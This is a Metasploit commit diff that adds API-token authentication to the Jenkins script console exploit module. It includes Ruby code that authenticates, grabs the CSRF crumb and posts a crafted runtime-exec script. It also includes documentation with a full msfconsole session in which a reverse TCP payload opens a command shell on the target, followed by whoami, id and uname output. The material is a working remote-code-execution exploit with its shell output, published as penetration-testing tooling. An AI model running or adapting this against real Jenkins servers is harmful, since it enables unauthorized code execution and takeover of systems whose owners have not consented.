Land #8569, Add ability to specify API token instead of password

bug/bundler_fix
Pearce Barry 2017-06-19 17:42:35 -05:00
commit 3cd28b28e2
No known key found for this signature in database
GPG Key ID: 0916F4DEA5C5DE0A
2 changed files with 81 additions and 21 deletions

View File

@ -36,7 +36,13 @@
A password to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication.
authentication and you aren't using an API_TOKEN (see below).
**API_TOKEN**
An API token to an account that has access to the script console. This is only
necessary if the Jenkins instance has been configured to require
authentication and you aren't using a PASSWORD (see above).
## Scenarios
@ -128,3 +134,42 @@
meterpreter >
```
Example usage against a Linux x64 bit target running Jenkins 2.46.3.
```
msf > use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set RHOST 172.17.0.1
RHOST => 172.17.0.1
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set USERNAME admin
USERNAME => admin
msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d
API_TOKEN => 24e0b80d009ed12590ff85866d88c00d
msf exploit(jenkins_script_console) > set TARGET 1
TARGET => 1
msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf exploit(jenkins_script_console) > set LHOST 10.0.2.4
LHOST => 10.0.2.4
msf exploit(jenkins_script_console) > exploit
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] Checking access to the script console
[*] Authenticating with token...
[*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style)
[*] 172.17.0.1:8080 - Sending Linux stager...
[*] Sending stage (36 bytes) to 172.17.0.2
[*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500
[!] Deleting /tmp/AsqL5Pg payload file
whoami
jenkins
id
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
uname -a
Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux
```

View File

@ -19,7 +19,8 @@ class MetasploitModule < Msf::Exploit::Remote
'Author' =>
[
'Spencer McIntyre',
'jamcut'
'jamcut',
'thesubtlety'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
@ -50,6 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
])
end
@ -77,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
@ -151,26 +154,38 @@ class MetasploitModule < Msf::Exploit::Remote
@cookie = nil
@crumb = nil
if res.code != 200
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})
if datastore['API_TOKEN']
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res and res.code == 401)
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
'vars_post' =>
{
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'Submit' => 'log in'
}
})
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
fail_with(Failure::NoAccess, 'Login failed')
end
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
@cookie = "#{sessionid}"
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
fail_with(Failure::NoAccess, 'Login failed')
end
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
@cookie = "#{sessionid}"
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
end
else
print_status('No authentication required, skipping login...')
end
@ -178,7 +193,7 @@ class MetasploitModule < Msf::Exploit::Remote
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (.crumb style)")
@crumb = {:name => '.crumb', :value => $1}
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
end